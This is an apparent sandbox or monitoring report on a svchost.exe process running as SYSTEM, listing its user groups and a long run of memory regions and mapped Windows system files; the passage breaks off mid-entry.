cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d1f9" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1118 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1119 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1120 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1121 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1122 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1123 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1124 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1125 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1126 start_va = 0xf0000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1127 start_va = 0x170000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1128 start_va = 0x230000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1129 start_va = 0x330000 end_va = 0x330fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 1130 start_va = 0x340000 end_va = 0x340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 1131 start_va = 0x350000 end_va = 0x35afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 1132 start_va = 0x360000 end_va = 0x36cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 1133 start_va = 0x370000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1134 start_va = 0x3f0000 end_va = 0x3f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskcomp.dll.mui" filename = "\\Windows\\System32\\en-US\\taskcomp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskcomp.dll.mui") Region: id = 1135 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1136 start_va = 0x410000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 1137 start_va = 0x510000 end_va = 0x697fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 1138 start_va = 0x6a0000 end_va = 0x820fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 1139 start_va = 0x830000 end_va = 0x839fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schedsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\schedsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\schedsvc.dll.mui") Region: id = 1140 start_va = 0x840000 end_va = 0x841fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 1141 start_va = 0x850000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 1142 start_va = 0x8d0000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 1143 start_va = 0x950000 end_va = 0x953fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1144 start_va = 0x960000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 1145 start_va = 0x9e0000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1146 start_va = 0xa60000 end_va = 0xa60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 1147 start_va = 0xa70000 end_va = 0xa71fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1148 start_va = 0xa80000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000e.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db") Region: id = 1149 start_va = 0xab0000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1150 start_va = 0xb30000 end_va = 0xb33fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1151 start_va = 0xb40000 end_va = 0xb4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 1152 start_va = 0xb50000 end_va = 0xb57fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 1153 start_va = 0xb60000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 1154 start_va = 0xb70000 end_va = 0xb70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 1155 start_va = 0xb80000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1156 start_va = 0xb90000 end_va = 0xb90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 1157 start_va = 0xba0000 end_va = 0xba0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wship6.dll.mui" filename = "\\Windows\\System32\\en-US\\wship6.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wship6.dll.mui") Region: id = 1158 start_va = 0xbb0000 end_va = 0xbc9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 1159 start_va = 0xbd0000 end_va = 0xbd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 1160 start_va = 0xbe0000 end_va = 0xbe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000be0000" filename = "" Region: id = 1161 start_va = 0xbf0000 end_va = 0xebefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1162 start_va = 0xec0000 end_va = 0xf25fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1163 start_va = 0xf30000 end_va = 0xf4bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 1164 start_va = 0xf50000 end_va = 0xf50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f50000" filename = "" Region: id = 1165 start_va = 0xf60000 end_va = 0xf6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f60000" filename = "" Region: id = 1166 start_va = 0xf70000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f70000" filename = "" Region: id = 1167 start_va = 0xf80000 end_va = 0xf8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f80000" filename = "" Region: id = 1168 start_va = 0xf90000 end_va = 0xf9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 1169 start_va = 0xfa0000 end_va = 0xfaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fa0000" filename = "" Region: id = 1170 start_va = 0xfb0000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fb0000" filename = "" Region: id = 1171 start_va = 0xfc0000 end_va = 0xfc7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 1172 start_va = 0xfd0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1173 start_va = 0xfe0000 end_va = 0xfe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 1174 start_va = 0xff0000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 1175 start_va = 0x1000000 end_va = 0x100ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 1176 start_va = 0x1010000 end_va = 0x1010fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 1177 start_va = 0x1020000 end_va = 0x109ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 1178 start_va = 0x10a0000 end_va = 0x10a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 1179 start_va = 0x10b0000 end_va = 0x10b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 1180 start_va = 0x10c0000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 1181 start_va = 0x1140000 end_va = 0x1140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 1182 start_va = 0x1150000 end_va = 0x1151fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 1183 start_va = 0x1160000 end_va = 0x11dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 1184 start_va = 0x11e0000 end_va = 0x11effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 1185 start_va = 0x11f0000 end_va = 0x126ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 1186 start_va = 0x12c0000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 1187 start_va = 0x1340000 end_va = 0x134ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001340000" filename = "" Region: id = 1188 start_va = 0x1350000 end_va = 0x135ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001350000" filename = "" Region: id = 1189 start_va = 0x1360000 end_va = 0x136ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001360000" filename = "" Region: id = 1190 start_va = 0x1370000 end_va = 0x137ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001370000" filename = "" Region: id = 1191 start_va = 0x1380000 end_va = 0x138ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001380000" filename = "" Region: id = 1192 start_va = 0x1390000 end_va = 0x139ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001390000" filename = "" Region: id = 1193 start_va = 0x13a0000 end_va = 0x141ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013a0000" filename = "" Region: id = 1194 start_va = 0x1480000 end_va = 0x148ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 1195 start_va = 0x1490000 end_va = 0x150ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001490000" filename = "" Region: id = 1196 start_va = 0x1530000 end_va = 0x15affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 1197 start_va = 0x15f0000 end_va = 0x166ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 1198 start_va = 0x16b0000 end_va = 0x172ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 1199 start_va = 0x1740000 end_va = 0x17bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 1200 start_va = 0x17d0000 end_va = 0x184ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 1201 start_va = 0x1850000 end_va = 0x18cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001850000" filename = "" Region: id = 1202 start_va = 0x18e0000 end_va = 0x195ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018e0000" filename = "" Region: id = 1203 start_va = 0x1980000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001980000" filename = "" Region: id = 1204 start_va = 0x1a70000 end_va = 0x1aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 1205 start_va = 0x1af0000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001af0000" filename = "" Region: id = 1206 start_va = 0x1bf0000 end_va = 0x1c2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001bf0000" filename = "" Region: id = 1207 start_va = 0x1c30000 end_va = 0x1c6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c30000" filename = "" Region: id = 1208 start_va = 0x1c80000 end_va = 0x1d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 1209 start_va = 0x1d80000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 1210 start_va = 0x1e30000 end_va = 0x1eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 1211 start_va = 0x1eb0000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 1212 start_va = 0x2050000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 1213 start_va = 0x2130000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 1214 start_va = 0x21c0000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 1215 start_va = 0x22b0000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1216 start_va = 0x2380000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 1217 start_va = 0x2400000 end_va = 0x24bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1218 start_va = 0x2510000 end_va = 0x258ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1219 start_va = 0x2610000 end_va = 0x268ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 1220 start_va = 0x26a0000 end_va = 0x279ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 1221 start_va = 0x27b0000 end_va = 0x282ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027b0000" filename = "" Region: id = 1222 start_va = 0x2840000 end_va = 0x28bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 1223 start_va = 0x28c0000 end_va = 0x29bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028c0000" filename = "" Region: id = 1224 start_va = 0x29c0000 end_va = 0x29cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 1225 start_va = 0x29d0000 end_va = 0x2a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 1226 start_va = 0x2a70000 end_va = 0x2a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 1227 start_va = 0x2aa0000 end_va = 0x2b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002aa0000" filename = "" Region: id = 1228 start_va = 0x2bf0000 end_va = 0x2c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 1229 start_va = 0x2c70000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 1230 start_va = 0x2cf0000 end_va = 0x2deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cf0000" filename = "" Region: id = 1231 start_va = 0x2e20000 end_va = 0x2e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 1232 start_va = 0x2ea0000 end_va = 0x309ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ea0000" filename = "" Region: id = 1233 start_va = 0x30a0000 end_va = 0x311ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Region: id = 1234 start_va = 0x3140000 end_va = 0x31bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003140000" filename = "" Region: id = 1235 start_va = 0x31f0000 end_va = 0x326ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031f0000" filename = "" Region: id = 1236 start_va = 0x3280000 end_va = 0x32fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003280000" filename = "" Region: id = 1237 start_va = 0x3320000 end_va = 0x339ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003320000" filename = "" Region: id = 1238 start_va = 0x33d0000 end_va = 0x344ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000033d0000" filename = "" Region: id = 1239 start_va = 0x3460000 end_va = 0x34dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003460000" filename = "" Region: id = 1240 start_va = 0x3610000 end_va = 0x368ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003610000" filename = "" Region: id = 1241 start_va = 0x36a0000 end_va = 0x371ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036a0000" filename = "" Region: id = 1242 start_va = 0x3720000 end_va = 0x379ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003720000" filename = "" Region: id = 1243 start_va = 0x37c0000 end_va = 0x383ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037c0000" filename = "" Region: id = 1244 start_va = 0x3870000 end_va = 0x38effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 1245 start_va = 0x3910000 end_va = 0x398ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003910000" filename = "" Region: id = 1246 start_va = 0x3990000 end_va = 0x3d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003990000" filename = "" Region: id = 1247 start_va = 0x3e10000 end_va = 0x3e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e10000" filename = "" Region: id = 1248 start_va = 0x3e90000 end_va = 0x3f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e90000" filename = "" Region: id = 1249 start_va = 0x3f30000 end_va = 0x3faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f30000" filename = "" Region: id = 1250 start_va = 0x3fc0000 end_va = 0x403ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fc0000" filename = "" Region: id = 1251 start_va = 0x4050000 end_va = 0x40cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004050000" filename = "" Region: id = 1252 start_va = 0x4180000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 1253 start_va = 0x4260000 end_va = 0x42dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 1254 start_va = 0x4340000 end_va = 0x43bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1255 start_va = 0x4400000 end_va = 0x447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 1256 start_va = 0x4480000 end_va = 0x457ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 1257 start_va = 0x4620000 end_va = 0x469ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004620000" filename = "" Region: id = 1258 start_va = 0x46a0000 end_va = 0x489ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046a0000" filename = "" Region: id = 1259 start_va = 0x4980000 end_va = 0x498ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004980000" filename = "" Region: id = 1260 start_va = 0x4990000 end_va = 0x4a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004990000" filename = "" Region: id = 1261 start_va = 0x4a90000 end_va = 0x4b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a90000" filename = "" Region: id = 1262 start_va = 0x4b90000 end_va = 0x4c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b90000" filename = "" Region: id = 1263 start_va = 0x4c90000 end_va = 0x4d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c90000" filename = "" Region: id = 1264 start_va = 0x4d90000 end_va = 0x4e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004d90000" filename = "" Region: id = 1265 start_va = 0x4e90000 end_va = 0x4f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e90000" filename = "" Region: id = 1266 start_va = 0x4f90000 end_va = 0x5f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f90000" filename = "" Region: id = 1267 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1268 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1269 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1270 start_va = 0x778b0000 end_va = 0x778b6fff monitored = 0 entry_point = 0x778b106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1271 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1272 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1273 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1274 start_va = 0xff8c0000 end_va = 0xff8cafff monitored = 0 entry_point = 0xff8c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1275 start_va = 0x7fef1000000 end_va = 0x7fef1252fff monitored = 0 entry_point = 0x7fef100236c region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1276 start_va = 0x7fef2300000 end_va = 0x7fef2344fff monitored = 0 entry_point = 0x7fef2333644 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1277 start_va = 0x7fef2350000 end_va = 0x7fef2361fff monitored = 0 entry_point = 0x7fef23590bc region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1278 start_va = 0x7fef2620000 end_va = 0x7fef26f1fff monitored = 0 entry_point = 0x7fef26b1a10 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1279 start_va = 0x7fef2700000 end_va = 0x7fef2979fff monitored = 0 entry_point = 0x7fef2732200 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1280 start_va = 0x7fef3fe0000 end_va = 0x7fef3ffbfff monitored = 0 entry_point = 0x7fef3fe11a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1281 start_va = 0x7fef4000000 end_va = 0x7fef4061fff monitored = 0 entry_point = 0x7fef4001198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1282 start_va = 0x7fef4070000 end_va = 